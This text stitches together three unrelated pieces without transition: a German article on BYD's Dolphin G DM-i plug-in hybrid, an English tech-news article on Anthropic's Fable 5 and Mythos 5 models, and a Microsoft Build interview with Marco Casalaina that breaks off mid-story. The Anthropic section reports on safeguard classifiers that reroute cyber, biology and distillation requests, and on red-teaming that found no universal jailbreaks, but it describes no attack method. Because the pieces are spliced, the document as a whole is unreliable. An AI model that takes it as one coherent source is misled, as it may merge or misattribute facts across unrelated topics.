BYD nutzt die firmeneigene DM-i-Technologie (Dual Mode Intelligence), bei der Elektromotor (120 kW/163 PS, 210 Newtonmeter Drehmoment) und Benzinmotor (1,5 Liter Hubraum) je nach Fahrsituation zusammenarbeiten. Damit beschleunigt das Fahrzeug in nur 8,3 Sekunden von 0 auf 100 km/h. Laut BYD soll das Fahrzeug einen Großteil der täglichen Pendelfahrten elektrisch bewältigen können, während die Gesamtreichweite bei 1.040 Kilometern liegen soll (bei voller Ladung und vollem Tank).

Die rein elektrische Reichweite gibt BYD mit der größeren Batterie (18,3 Kilowattstunden) mit 105 Kilometern an. Den Kraftstoffverbrauch gibt BYD mit nur 1,4 Litern pro 100 Kilometer an – bei vollständig geladener Batterie. Bei der kleineren Batterie mit 7,42 Kilowattstunden seien eine rein elektrische WLTP-Reichweite von 40 Kilometern und eine Gesamtreichweite von 1020 Kilometern möglich, wie BYD verspricht.

Im EV-Modus agiert das Fahrzeug wie ein reines Elektroauto: Es nutzt nur die Energie der Batterie, und der Benzinmotor bleibt so lange ausgeschaltet, bis der Ladezustand der Batterie auf ein bestimmtes Niveau abgesunken ist. Dabei kommt ausschließlich der Elektromotor zum Einsatz, der beim Bremsen Energie rekuperiert und die Batterie auflädt.

Aufladen: Die Active-Modelle verfügen über einen On-Board-Charger mit 3,3 kW, der die Batterie in knapp unter drei Stunden von 15 auf 100 Prozent aufladen soll. Die Versionen Boost, Comfort und Sport erhöhen die Ladeleistung auf 6,6 kW und bieten zusätzlich eine DC-Schnellladefunktion mit bis zu 39 kW. Damit soll die 18,3-Kilowattstunden-Batterie in 26 Minuten von 10 auf 80 Prozent aufladen.

Zur Ausstattung gehören Leichtmetallräder – 16 Zoll bei den Ausstattungen Active und Boost, 18 Zoll im Zweiton-Design in der Comfort-Linie sowie 18 Zoll in Glanzschwarz in der Sport-Version –, LED-Rückleuchten, 8,8‑Zoll‑Digitalinstrument und Infotainment‑Bildschirm (wahlweise mit 10,1 oder 12,8 Zoll Diagonale).

Fahrerassistenzsysteme

Serienmäßig sind alle Versionen mit Front- und Heckparksensoren ausgestattet. Die Varianten Active und Boost bieten zusätzlich eine Rückfahrkamera, während Comfort und Sport dieses System mit einer 360-Grad-Kamera für eine optimale Rundumsicht erweitern.

Zur Fahrerassistenz gehören in allen Ausstattungslinien unter anderem ein adaptiver Tempomat sowie ein intelligenter Tempomat, ein Notfall-Spurhalteassistent und Spurverlassenswarner, Front- und Heck-Querverkehrswarner inklusive Querverkehrsbremsfunktion, Totwinkelwarner, ein Fahrerüberwachungssystem sowie eine Ausstiegswarnung.

Es gibt den BYD Dolphin G DM-i in vier Ausstattungsvarianten und in vier Metallic-Farben: Skiing White (Weiß), Time Grey (Grau), Obsidian Black (Schwarz) und Ocean Blue (Blau), sowie in Uni Oxford White (Weiß) und dem Perleffekt-Lack Orange Sunset (Orange).

Vollständige technische Spezifikationen oder Preise hat BYD noch nicht bekannt gegeben. Der Dolphin G DM-i wird in den kommenden Wochen in Europa in den Verkauf gehen und soll voraussichtlich im Frühherbst in Deutschland ausgeliefert werden. Es ist das erste Mal, dass BYD ein Modell von Grund auf speziell für internationale Märkte entwickelt, wobei Europa als klarer Zielmarkt im Fokus steht.

BYD

Mehr zu BYD lesen (Auto-Testberichte):

• BYD Sealion 7 im Test: Komfortabler Elektro-SUV mit nervigen Warnsystemen
• BYD Seal im Test: Konkurrenz für Tesla? Die Antwort!
• BYD Dolphin im Test: Kein Traumauto, aber ein echter Konkurrent in der Einsteigerklasse
• 472,41 km/h: Elektro-Supersportwagen BYD Yangwang U9 fährt Geschwindigkeitsweltrekord

Wie alles begann:

Tesla und BYD im Vergleich – wer hat die Nase vorn? Wir haben 2023 die beiden Marken miteinander verglichen. Damals war das Kürzel BYD noch nicht jedem Auto-Interessierten ein Begriff. Obwohl im Jahr 2022 der chinesische Autohersteller BYD mit damals mehr als 1,85 Millionen verkauften E-Autos den bisherigen Branchenprimus Tesla überholt hatte und seitdem als weltweit größter Hersteller für Elektrofahrzeuge gilt.

The company says Fable 5, which is the version most users and developers will get starting today, exceeds every Claude model it has previously made generally available — featuring stronger performance across software engineering, knowledge work, vision, scientific research and long-running tasks.

It smashes the existing benchmarks and comes atop on nearly all of them, though the prior Claude Mythos Preview version of the model still takes the top spots on computer use and multidisciplinary reasoning (see benchmark chart below and here).

The new Claude Mythos 5, by contrast, is a more restricted, upgraded version of the prior, similarly restricted Mythos Preview model. As such, it has certain safeguards lifted for approved users, including Anthropic's cybersecurity partners in its Project Glasswing effort, and select biology researchers.

The key difference is that the general purpose Fable 5 wraps the same underlying Mythos-class capability in new safeguards. Anthropic says requests involving certain high-risk areas — including cybersecurity, biology and chemistry, and model distillation — are automatically routed to Claude Opus 4.8, Anthropic's previously flagship general model, instead, with users notified when that happens.

The company says more than 95% of Fable sessions run entirely on Fable’s own responses, with no fallback, and that internal and external red-teaming efforts found no “universal jailbreaks” after more than 1,000 hours of testing.

Anthropic says Fable 5 is available to the general public today through its website, apps, and API, but that Mythos 5 will initially only be made available to users who already have access to the older Claude Mythos Preview.

Pricing, access and a tricky rollout

Anthropic is pricing both Fable 5 and Mythos 5 at $10 per million input tokens and $50 per million output tokens. The company says that is less than half the price of Claude Mythos Preview, but still ranks as the most expensive of major AI models available globally.

VentureBeat Frontier AI Model API Pricing Snapshot

For developers, Fable 5 is available through the Claude API as claude-fable-5. Anthropic says Fable 5 is fully available today on the Claude API and on consumption-based Enterprise plans.

For subscription users, the rollout is more complicated. Anthropic says Fable 5 will be included on Pro, Max, Team and seat-based Enterprise plans at no extra cost from today through June 22.

On June 23, the company plans to remove Fable 5 from those plans, after which using it will require usage credits. Anthropic says it aims to restore Fable 5 as a standard part of subscription plans as quickly as possible.

The difference between Fable 5 and Mythos 5

Anthropic is not presenting Fable 5 and Mythos 5 as two separate models in the usual “small versus large” sense. Instead, they appear to share the same base capability level. The difference is access control — that is, how easily it will be for users to get their hands on the models, and the guardrails embedded in each.

As previously mentioned Fable 5 includes a new safeguard layer that detects certain high-risk requests — including cybersecurity, biology and chemistry, and attempts to distill the model’s capabilities into other systems — and routes those requests to Claude Opus 4.8.

Mythos 5 lifts some of those restrictions for trusted users working in approved domains.

In practical terms, Mythos 5 is more powerful for sensitive cyber and biology work because it can answer in areas where Fable 5 falls back.

For most ordinary enterprise and developer tasks, however, Anthropic says Fable 5 performs effectively the same as Mythos 5.

The launch also signals how Anthropic plans to bring frontier models with dangerous dual-use capabilities into the market: not by releasing all capabilities to everyone, and not by simply refusing risky questions, but by routing some requests to a less capable model while keeping the stronger model available for the majority of everyday work.

A major improvement in autonomous coding

For enterprise buyers, the most immediate use case is likely software engineering. Anthropic says Fable 5 can work unattended for longer and with more independence than previous Claude models, which is exactly the capability enterprises need if they want AI agents to do more than autocomplete code or answer developer questions.

On SWE-bench Pro, which measures a model's ability to complete difficult software engineering tasks, Anthropic says Fable 5 and Mythos 5 reach 80.3%, vastly outperforming OpenAI's latest and greatest general model GPT-5.5, which scored 58.6%.

On Cognition’s FrontierCode Diamond benchmark, which tests high-quality, maintainable agentic coding, the models score 29.3%, compared with 13.4% for Claude Opus 4.8 and 5.7% for GPT-5.5, according to the benchmark table included in Anthropic’s materials.

Anthropic also says Fable 5 scores highest among frontier models on FrontierCode even at medium reasoning effort, suggesting the model may deliver stronger coding results without always needing maximum compute.

The most striking customer example comes from Stripe. Anthropic says Stripe tested Fable 5 in a 50-million-line Ruby codebase and found that the model completed a codebase-wide migration in one day that otherwise would have taken a team more than two months by hand. Stripe said, “Fable 5 compresses months of engineering into days. In our 50-million-line Ruby codebase, it did in a day what would've taken us more than two months by hand.”

Other early users describe the model as especially useful for long-horizon development tasks. Cursor said, “Fable 5 is the state of the art model on CursorBench. It's opened up a class of long-horizon problems that were out of reach for earlier models.” Replit said Fable 5 is the highest-performing model it has tested on ViBench, its end-to-end “vibe-coding” benchmark, and that it builds apps in less time with fewer tokens. Figma said Fable 5 is “a clear step forward on agentic coding and prototyping.”

This is the enterprise shift Anthropic is trying to sell: AI coding systems that can take on larger units of work, not just individual tickets. That could include codebase migrations, app prototyping, pull request review, test generation, debugging across unfamiliar tools, user interface design and multi-step internal software projects.

Base44 said, “Fable 5 is much deeper and better at one-shotting full apps, and its tool calling is excellent.” Genspark said, “Fable 5 came out #1 on our evals, winning head-to-head against every model we tested. It was significantly stronger on the hardest tasks in the set — UI design and game coding.” Rakuten said, “At the highest effort, Fable 5 reflects on and validates its own work. For us, that's what makes highly autonomous operations possible — the extra thinking pays for itself.”

For CTOs and engineering leaders, that suggests the model’s value may come less from raw code generation and more from sustained execution: understanding an intent, planning steps, calling tools, checking its own work and continuing through a task without constant human steering.

Knowledge work, finance, legal and operations

Anthropic is also positioning Fable 5 as a stronger model for enterprise knowledge work. On GDPval-AA, Anthropic reports a score of 1932 for Fable 5 and Mythos 5, compared with 1890 for Claude Opus 4.8, 1769 for GPT-5.5 and 1314 for Gemini 3.1 Pro.

On GDPpdf, a benchmark focused on visual document reasoning, Fable 5 and Mythos 5 score 29.8% without tools, compared with 22.5% for Opus 4.8, 24.9% for GPT-5.5 and 16.7% for Gemini 3.1 Pro.

That matters for enterprises because much of corporate work still lives in messy documents: PDFs, spreadsheets, charts, reports, contracts, filings, slide decks and screenshots. Anthropic says Fable 5 shows gains in document-based reasoning, chart and table interpretation and complex problem solving.

Hex said, “Fable 5 is the first to break 90% on our core analytics benchmark of complex, long-running analytical tasks — a 10-point jump over Opus. On the hardest questions, it shows strong judgment and attention to nuance.” Hebbia said Fable 5 was the highest-scoring model on its Finance Benchmark for senior-level reasoning, with double-digit gains in document reasoning, chart and table interpretation, and problem solving.

The finance examples are notable because they point to AI agents moving beyond summarization into higher-stakes analytical workflows.

IMC said Fable 5 “aced our trading-analysis evaluations nearly across the board: factual lookup, conceptual reasoning, root-cause analysis, expected-value analysis.” Optiver said the model was stronger than Opus 4.8 on its trading benchmark and “remarkably consistent,” scoring identically across repeated runs. Balyasny Asset Management said Fable 5 was the strongest finance-first model it had tested.

Legal and operations teams may also see immediate impact. Crosby Legal said, “Fable 5 feels materially different. In blind review, our lawyers found its redlines matched or beat our current model every time.” Notion said the model can take work “you'd chip away at all afternoon” and turn messy notes into a functioning project plan. Zapier said Fable 5 is the new leader on AutomationBench and is more autonomous than Opus 4.8: “Where Opus stops to ask, Fable 5 keeps looking.”

For enterprise software vendors, that points toward more capable embedded agents in workflow products: agents that can review a contract, update a project plan, assemble a spreadsheet, inspect a chart, file a ticket, run a query, call an internal API and keep going until the work is complete.

Vision and interface understanding

Anthropic says Fable 5 is also its strongest vision model. In its launch materials, the company says the model can extract precise numbers from detailed scientific figures and complete vision-based tasks such as rebuilding a web app’s source code from screenshots alone.

That has immediate implications for enterprise automation. Many business processes still depend on visual interfaces that are not cleanly exposed through APIs: dashboards, PDFs, forms, legacy apps, screenshots, scans and image-heavy reports. A stronger vision model could help agents operate across those environments with less custom integration work.

Anthropic also says Fable 5 needs less scaffolding than previous Claude models. As an example, the company says earlier Claude models struggled to play Pokémon FireRed even with extra tools, while Fable 5 impressively beat the game using a minimal vision-only harness. Anthropic posted a fast forwarded video of its playthrough to YouTube and in its blog post:

The point is not gaming itself, but the broader agentic skill: reading a visual environment, remembering progress, deciding what to do next and executing over a long horizon.

In another internal test, Anthropic says it had the model play the deck-building game Slay the Spire with access to persistent file-based memory. The company says persistent memory improved Fable 5’s performance three times more than it improved Opus 4.8’s, and that Fable reached the game’s final act three times more often. For enterprise users, this suggests Fable 5 may make better use of notes, logs and stored context during multi-step work.

That could matter for internal agents that operate over days or weeks: sales operations agents that track account research, engineering agents that manage migrations, finance agents that update models, or support agents that remember what they tried across many turns.

From restricted cyber model to general-purpose enterprise AI

The announcement follows Anthropic’s April 2025 rollout of Claude Mythos Preview through Project Glasswing, a restricted program for cyber defenders, critical infrastructure providers and major software maintainers. Anthropic created Glasswing after internal evaluations showed Mythos-class models could find and exploit software vulnerabilities at a level that raised meaningful misuse concerns.

Following the debut of Glasswing and Mythos, U.S. officials and intelligence agencies began weighing how such models could reshape both cyber defense and offensive operations, while Sen. Mark Warner warned that AI-assisted vulnerability discovery should force industry to “accelerate and reprioritize patching.” Financial regulators also took notice: The Guardian reported that Mythos entered discussions among senior banking officials and regulators in the U.S. and U.K. because of fears that AI-accelerated cyberattacks could threaten payment systems and broader financial stability.

The reaction has not been limited to alarm. Governments also want access: Reuters reported that South Korea’s national internet security agency had secured Mythos access through Project Glasswing, reflecting a broader geopolitical race to use frontier AI for national cyber defense. At the same time, Anthropic has faced scrutiny over whether it can safely gate the very capabilities it says are too risky for general release. The Verge reported that unauthorized users accessed Mythos after its limited rollout, calling the incident damaging for a company that has built its brand around responsible AI.

Critics have also questioned whether Anthropic’s warning-heavy framing risks becoming a form of market positioning, since it casts the company as both the source of the new capability and the gatekeeper deciding which governments, companies and researchers get to use it.

With Fable 5, Anthropic is leaning into its gatekeeper role, attempting to separate the general enterprise value of a Mythos-class model from the riskiest parts of its capability profile. The company says Fable 5 can handle software engineering, research, visual reasoning, document analysis and long-running agentic workflows, while classifiers block or reroute requests that could provide what Anthropic calls “uplift” to malicious actors.

Those classifiers cover three main areas.

1. Cybersecurity, where Anthropic says Mythos-class models can discover and exploit vulnerabilities and perform broader “agentic hacking” tasks such as reconnaissance, discovery and lateral movement.

2. Biology and chemistry, where the company says the same reasoning that can help researchers design therapies could also help well-resourced malicious actors pursue dangerous biological work.

3. Model distillation, where Anthropic says users may try to extract Claude’s capabilities to train competing models, including models that could be released without similar safeguards.

When Fable 5’s classifiers detect one of those categories, the response is automatically handled by Claude Opus 4.8. Anthropic says users will be told when this happens. That is a notable product decision: rather than declining those requests outright, Anthropic is trying to keep the user experience functional while reducing access to the most capable version of the model in sensitive areas.

Anthropic says it red-teamed the new classifier system internally and externally. The company says an internal bug bounty produced no universal jailbreaks after more than 1,000 hours of testing, and external red-teaming organizations also failed to find a universal jailbreak. One external partner found that Fable 5 complied with zero harmful single-turn cyber requests related to planning cyberattacks, exploit development or defense evasion, even when prompts used any of 30 public jailbreak techniques, according to Anthropic.

The company is still acknowledging tradeoffs. Anthropic says the safeguards are deliberately cautious and may sometimes trigger on benign requests. That could frustrate security professionals, biology researchers and advanced enterprise users whose legitimate work overlaps with the blocked categories. The company says it plans to reduce false positives over time.

Mythos 5 and the restricted frontier

While Fable 5 is the broad commercial launch, Mythos 5 is the model to watch for enterprises operating in security, critical infrastructure and life sciences.

The company says all users with Claude Mythos Preview access can upgrade to Mythos 5 beginning today. It plans to expand access through a trusted access program, in collaboration with the U.S. government.

The distinction is important for sectors where the blocked capabilities are not edge cases but core workflows. A security team may need to reproduce vulnerabilities, test exploitability, analyze lateral movement or simulate attacker behavior in a controlled environment. A biology research team may need to reason through molecular design workflows that would trigger general-use safeguards. Fable 5 is not designed to give every user unrestricted access to those capabilities; Mythos 5 is designed for vetted users who need them.

Anthropic says Mythos 5 has the strongest cybersecurity capabilities of any model in the world. In the company’s benchmark table, the model family scores 78.0% on ExploitBench, compared with 69.0% for Claude Mythos Preview, 40.0% for Opus 4.8 and 34.0% for GPT-5.5. On CyberGym, Anthropic’s chart shows Mythos 5 at 83.8%, slightly ahead of Mythos Preview at 83.1% and far above Opus 4.8 with default safeguards.

The company is making a similar argument in biology. Anthropic says Mythos-class models outperform dedicated protein language models on a task involving adeno-associated viruses, a delivery mechanism used in gene therapies. The company frames that as both promising and risky: the same capability that could help gene therapy research could also be misused in dangerous biological work.

Anthropic says its internal protein design experts used Mythos 5 to accelerate parts of the drug design process by about tenfold. In one example, the company says Mythos 5, using protein design and bioinformatics tools without human assistance, matched or beat skilled human operators by choosing binding sites, selecting and running tools, and recovering from failures. Anthropic says nine of 14 protein targets in the study produced strong candidates for drug design that it is now investigating.

The company also says Mythos 5 produced novel molecular biology hypotheses that Anthropic scientists preferred over Opus-class model hypotheses about 80% of the time in blinded comparisons. Anthropic says several of those ideas have advanced to experimental evaluation, and one hypothesis involving an E. coli protein was later corroborated by an independent lab working on the same problem.

Those claims are potentially significant, but they should be treated carefully until more details are published. Anthropic says it intends to publish additional results in the coming months. For now, the strongest enterprise implication is directional: the company believes its highest-end models can already perform parts of scientific research workflows with less human intervention than prior systems.

New, longer data retention requirement

The company also introduced a new data-retention policy for Mythos-class models. Anthropic says it will require 30-day retention for all traffic on Fable 5, Mythos 5 and future models with similar or higher capability levels, across both first-party and third-party surfaces. The company says it will not use that data to train new Claude models or for non-safety purposes, and says it has added privacy protections including logging human access and deleting the data after 30 days in almost all cases.

That policy may become one of the most important enterprise buying questions around Fable 5. Many businesses want frontier AI capability but also want strict control over data retention, especially in regulated sectors. Anthropic’s position is that stronger monitoring is necessary for models with this level of capability. Enterprise customers will have to decide whether the capability gain justifies the retention requirement.

Enterprise implications

The broader enterprise significance of Fable 5 is that Anthropic is trying to commercialize a more autonomous class of AI model without exposing all of its capabilities to every user. That could become a template for how frontier labs release increasingly powerful systems: one model family, multiple access tiers, and domain-specific restrictions depending on user trust and risk.

If Fable 5 performs as Anthropic and early customers describe, developers may hand off larger tasks: code migrations, refactors, UI builds, test writing, bug fixing, documentation, internal tooling and multi-step app creation.

For knowledge-work-heavy enterprises, Fable 5 could make AI more useful in workflows where earlier models were too brittle: finance research, spreadsheet analysis, legal redlines, procurement review, board materials, market research, sales operations and project planning. The main gain is not just better answers; it is fewer turns, fewer corrections and more ability to keep working through ambiguity.

For security teams, the launch is more complicated. Most organizations will get Fable 5, not unrestricted Mythos 5. That means they may see stronger general coding and analysis, but not full access to the cyber capabilities Anthropic considers risky. Trusted defenders inside Project Glasswing will get Mythos 5, giving them a more direct way to use the model for vulnerability discovery and defensive testing.

For life sciences companies, the pattern is similar. Fable 5 may help with general research, literature analysis, data interpretation and scientific reasoning, but the more sensitive biological capabilities will be restricted. Anthropic is effectively creating a separate access path for vetted researchers whose work requires capabilities that could be dangerous in the wrong hands.

The launch also raises competitive pressure across the AI industry. Anthropic is claiming state-of-the-art results across agentic coding, knowledge work, vision, cybersecurity, legal reasoning, spatial reasoning and health benchmarks. But the more strategically important claim may be that it has found a workable release mechanism for models above its Opus class. If Fable 5’s safeguards hold up under real-world use, Anthropic will argue it can bring more powerful models to market sooner without fully opening the riskiest capabilities.

That is still a large “if.” The enterprise market will test not only Fable 5’s benchmark performance, but also its reliability, false-positive rate, data-retention tradeoffs and cost at scale. A model that can complete more work autonomously can also burn more tokens, trigger more governance questions and create new review burdens for teams that must verify its output.

Still, today’s launch marks a clear shift in the Claude lineup. Opus is no longer Anthropic’s top commercial capability tier. Mythos-class models now sit above it. Fable 5 is the first version of that tier for general users; Mythos 5 is the restricted version for trusted high-risk work. Together, they show how Anthropic plans to push frontier AI deeper into enterprise workflows while trying to keep the most dangerous capabilities gated.

The company announced Microsoft IQ as a context layer across GitHub Copilot, Microsoft Foundry and Copilot Studio; Work IQ APIs coming June 16; Fabric IQ for structured business data; Foundry IQ for retrieval across enterprise knowledge and the live web; and Web IQ as a new agent-facing web search stack.

Microsoft also introduced Scout, a personal work agent, and a whopping seven new in-house AI models in its growing MAI family across modalities and use cases, including MAI-Thinking-1.

Those announcements sit directly in Marco Casalaina’s lane. Casalaina is Microsoft’s VP Products, Core AI and AI Futurist. He leads Microsoft’s AI Futures team and previously led teams across Azure AI, including Azure OpenAI, Vision, Speech, Decision, Language, Responsible AI and AI Studio.

Before Microsoft, he led Salesforce’s Einstein AI team and earned a computer science degree from Cornell University. CRN reported that he joined Microsoft in early 2022 as vice president of products for Azure Cognitive Services, meaning he has now been at the company for more than four years.

VentureBeat spoke with Casalaina ahead of Build about Microsoft’s agent strategy, the company’s model-choice philosophy, how Microsoft IQ fits with MCP, and why he believes enterprises need far more than just access to powerful models. The interview below has been edited for clarity and condensed from the transcript.

VentureBeat (VB): To start, can you explain your role at Microsoft and what “AI Futurist” means in practice?

Marco Casalaina (MC): I am VP Products of what we call Core AI. Core AI is our set of tools for AI developers, and that includes Foundry, Visual Studio, VS Code, GitHub and GitHub Copilot. That’s our overall group.

My Silicon Valley title is AI Futurist, and that has a very concrete meaning here. I’ve worked with other folks who are considered futurists, like Peter Schwartz, and that can be a little bit more fuzzy. For me, what it means concretely is that I am the first person to try anything new here.

I am constantly getting things from all over Microsoft, not even just Foundry, because I work with really everybody across the company. Pretty much everybody sends me the new things at all times. Even today, I got something brand new just before this call. I’m usually the first person to try anything new here, which is pretty cool. I get to see a lot of really cool stuff.

A friend of mine, who is head of AI at Intuit, calls me an “adjacent possiblist.” I consider my futurist concept to be about a year out from now — the immediate future of what’s about to happen next. That’s what I focus on.

VB: Where are you looking at the agentic state of things, and in particular Microsoft’s position as enterprises and individuals rush to adopt agentic AI?

MC: We can look at it from bottom to top. At the very base of the stack is our commitment to model choice. All along, we’ve had the OpenAI GPT frontier models. Now we have a really solid partnership with Anthropic, where we’re offering the Claude models. We just launched Claude Opus 4.8 on Azure — on Foundry, I should say — and at Build, we are introducing our new MAI model.

The MAI models are a set of frontier models that we’re building in-house. They are made for token efficiency, optimization and customization. We are specifically making them for our customers to customize on their own data sets.

One level above that, we are announcing hosted agents in Foundry. That is our managed agent capability in Foundry. It automatically handles scaling, containerization and those kinds of things. It is an environment where you can manage agents.

One level above that is the Foundry control plane. At least for the agents you build, you want to have control over them. This gives you observability into their cost, tokens and correctness. You can do continuous evaluations and sample interactions with those agents, run evals and make sure they are continuing to work and not drifting.

The big news is going to be the GA of what we call the IQs here at Microsoft. There are currently three, and there will be four. There is Foundry IQ, which is basically for knowledge — largely unstructured knowledge. There is Fabric IQ. We have a ton of customers who have entrusted a lot of data to the Microsoft Cloud in Fabric, Power BI and related technologies. Fabric IQ is about making an agent-facing interface for this data, so agents can get to it without literally going through a Power BI report. That’s ridiculous.

Work IQ is about the Microsoft ecosystem. You can look at Work IQ as the agentic face of all the Microsoft apps: Outlook, Teams, Word, SharePoint and all those kinds of things. How does an agent interact with those things? That is Work IQ.

And finally, the fourth IQ is Web IQ. We are releasing our new agent-facing web search capability. It can search the web, search through videos and even do some kinds of browsing tasks automatically. It is super fast, and it kind of has no face. It’s headless. The interface is intended for agents.

We will also be announcing Agent Optimizer. That includes a new type of evaluation that allows you to evaluate much more granularly whether an agent is actually working and working correctly. The optimization step can go back in and make modifications to the prompt, obviously with your consent, and modify your agent so it works more correctly going forward. Effectively, it creates a feedback loop to make agents work better.

VB: Microsoft has sometimes been criticized for murky and clunky product naming. Where do these IQ products sit? Are enterprise users supposed to go to IQ first, or is IQ more for developers to connect to?

MC: All of the IQs are headless. The concept of IQ is that each one provides a different type of context to an agent specifically. Largely, it will be developers interacting with the various IQs — developers and the agents they build.

The IQ brand is really about agent context. End users largely won’t interact with the IQs. It is true that if you use Microsoft 365 Copilot today, you’ll notice a little thing that says it is using Work IQ. So it is a little bit visible, but the customer or end user doesn’t have to go find the IQ. Their system or developers hook that up.

VB: Is the IQ family essentially Microsoft’s version of MCP? Is it using MCP, or is it something different?

MC: All of the IQs are indeed exposed as MCP servers. You have correctly characterized MCP as basically an agent-facing or self-describing API. It’s not that fancy. That’s really what it is, with some authentication layers and capabilities built in, which is super useful.

Something like Work IQ — really all the IQs — have to be authenticated. In order for Work IQ to see my email, Teams messages, documents and stuff like that, I have to be able to authenticate it on behalf of me.

That gets us to another core differentiator that we will be announcing at Build, which is agent identity. We have this Entra system, and Entra is, I believe, the world’s largest used identity system for human users. For some time now, you have been able to declare an agent to have an identity in there. Now, agents will be able to have their own identity, their own Teams box, their own email inbox and stuff like that.

These agents will use Work IQ to check their own email, check their own documents and that sort of thing.

VB: Enterprises are not one-size-fits-all on models. Microsoft supports many leading models through Foundry and Azure, while also building its own. Is Microsoft a model company, an infrastructure company or a connector between models and work products?

MC: The answer is yes. We are obviously the hyperscaler. We are absolutely committed to model choice, and we will continue to offer the frontier models from all of the major players: OpenAI, Anthropic, Mistral, Black Forest, xAI — you name it. They are all going to be represented in there.

At the same time, we have what is now called our Microsoft AI Superintelligence Team, formed by Mustafa Suleyman, and we are building our own frontier models as well. Like I said earlier, we are really gearing these models toward optimization — token efficiency, bang for the buck and customization.

These are things our customers have been asking for: the ability to more finely customize models, whether that is fine-tuning or continued pre-training. Continued pre-training is literally changing the weights of the model, whereas fine-tuning is adding a little layer on top.

We have these capabilities in Foundry: fine-tuning, distillation and those kinds of things. I would note, by the way, that our MAI models are not distilled. Some model providers, especially some of the less scrupulous ones, will distill other models into theirs, and that can have unusual effects. We don’t do that. The data provenance of our models is of primary importance to us.

When we come out with these models, we want our customers to know that the data provenance is clean in terms of the rights to the data, where it came from and all that kind of stuff.

The choice thing also goes above the model layer. When we talk about Foundry hosted agents, we have the Microsoft Agent Framework. You talk about agent orchestration — how you make agents work together when you have multiple agents — and Microsoft Agent Framework is an excellent framework for that.

However, I can make a LangGraph or LangChain Foundry hosted agent. I can make a CrewAI Foundry hosted agent. I can use any number of orchestration frameworks and put that up as a Foundry hosted agent, and it becomes a first-class Foundry agent.

That means I get the observability. It shows up in the Foundry control plane. I can do evaluations on it. I can do traces on it. I can get all those things from the Foundry control plane with an agent built in really any framework I choose.

VB: Some companies are interested in Chinese and open-source models. How much of Microsoft offering its own models is about giving customers an American version of that?

MC: I can’t speak to that exactly. Of course, we offer DeepSeek models and Qwen models in Foundry, so we offer all of these choices today, and our customers can make that choice.

The MAI models are really focused on token efficiency and customizability. That is what our customers are demanding, and that is the gap we are filling.

VB: As agents take on longer tasks and more specialized work, will enterprises keep expanding the number of models they use, or will there be a winnowing?

MC: I do see it expanding. We are not just focused on tokens per se. A token is not a token is not a token. One token is not necessarily equivalent across these things. It is all about what you are doing with each token and the efficiency of that. It comes back to what kind of value you are getting for the cost. That is a lot of the rationale behind why we are developing our own MAI models.

Part of my job is to travel all around the world. I’ve been all over the place. For example, I’ve been working with Bayer. One of the things we are measuring is not just token usage, but number of users — monthly active users and daily active users — because we have a lot of first-party capabilities like Microsoft 365 Copilot. Over the last year, we’ve seen a 6x increase in monthly active users. We have over 20 million users of Microsoft 365 Copilot alone.

That is on the agents you use. In terms of the agents you build, Bayer put up its own agent system on Foundry, and now it has 20,000 of its own employees on it.

A few weeks ago, I was in Sydney, Australia, hanging out with AEMO, the Australian Energy Market Operator. They operate the electrical grid of Australia. They showed me that they had built agents to manage grid operations.

This is a human-centered thing. They have grid operators sitting in centers in West Sydney, Brisbane and places like that, and they are bombarded with alerts. I wouldn’t believe it if I hadn’t seen it myself. The alerts are constant. They built a system to triage those alerts. Is this alert a super major thing, or is it just that a transformer is getting a little hot? It also says, here is when we had this problem last time, and here is how we resolved it last time. Maybe now we need to replace this component, or whatever.

Ultimately, it is the grid operators making the choice. A lot of our philosophy here is human empowerment. These human-centered agents are the ones that are working best among our customers. What I saw at AEMO and Bayer is this notion of human empowerment: taking away some of the grunt work, or in the case of AEMO, taking billions of alerts and reducing them to something much more manageable and actionable for the people involved.

We are moving past the era where agents are just answering questions. AI in general is moving past that. We are not just answering questions anymore. We are moving toward a place where AI can really meaningfully help you do your work.

VB: How do observability, tokenomics, ROI analysis and agent governance fit into Microsoft Foundry?

MC: That is what the Foundry control plane is all about. We introduced it in November of last year. If you looked at my own Foundry control plane — I’ve built a ton of these agents, and I am a developer by background — you would see all of my agents that are running and the ones that are paused.

I can see how many tokens they’ve used over the last day, week or month. I can look at trends. I can look at costs, because the cost will be different depending on what underlying model I’m using. If I’m using our model router, it can route to different models depending on the complexity of the inbound prompt.

We also have Azure cost management overall. Azure has had cost management for over a decade, before the AI thing even happened. This integrates with overall Azure cost management.

It is not just narrowly about what your AI is doing. Your AI will be using storage resources, data resources and other compute resources around that AI. You can get a complete picture of not just the cost and token usage of the AI itself, but everything around it.

When you think about governance, that also extends to evaluation. One of the things we are releasing in preview is rubric-based evaluation. Rubric-based evaluation is much more granular.

Let’s say you have built a restaurant reservation agent. The things you want to test about that agent are not really groundedness. Groundedness is the opposite of hallucination, and that is very question-answering. For a restaurant reservation agent, you want to test very granular things. If you say, “Make me a table for two tomorrow,” did it come back and ask, “What time would you like the table?” Before it gave you a table for two tomorrow at 6 p.m., did it actually check that the table was available, or did it randomly give you a table without checking first?

There are very granular things you want to test about that specific use case. You don’t just want to test whether the agent works. You want to test whether the agent works right.

That is what we are approaching with our new rubric-based evaluation system. You will see that in Satya’s keynote. I have been using it myself lately, and I’m very happy about it. I’ve been waiting for this.

VB: Microsoft is also partnering with companies like Anthropic and allowing Claude to work with Microsoft 365. How important is Copilot to this story? Why would someone turn to Copilot over other options?

MC: Microsoft 365 Copilot is a huge advantage for us. As I mentioned, we crossed the 20 million user mark on Copilot relatively recently.

The great thing about that is that it is the face. When you go into Foundry and make an agent, there is a button that says “publish to Copilot” — actually, it says “publish to Copilot in Teams,” because you can put it in Teams too.

The idea is that you want to put these agents where your users are. A lot of people who use the Microsoft ecosystem are in Teams, or they are using Copilot. I can create a custom agent, as many of my colleagues have, and now it is in Copilot, which I use maybe 50 times a day.

Since January, Copilot has become more and more capable. I now use it to draft my email. I am not just using it for question answering. I’m starting to use it to manage my calendar and draft emails. I really do this every day now.

When I want to use a custom agent — for example, to file my expenses, because we have a custom agent for that now — I can access that agent not in some random standalone interface, but in Copilot or Teams, where I already am.

That surface area that people are already engaging with is a major advantage.

VB: As people offload more repetitive work to AI, what are they able to spend more time doing?

MC: Let’s consider something I did yesterday. I got an email from a customer named Frankie, and he asked me a question about Foundry hosted agents. I knew the answer because I had talked to my colleague Jeff Holland, who is the head of our hosted agents product management. I had asked Jeff the same question two weeks ago.

Where or how I asked him, I don’t remember. Was it in Teams? Was it email? Was it a meeting? I don’t really remember. But I knew the answer to the question Frankie was asking.

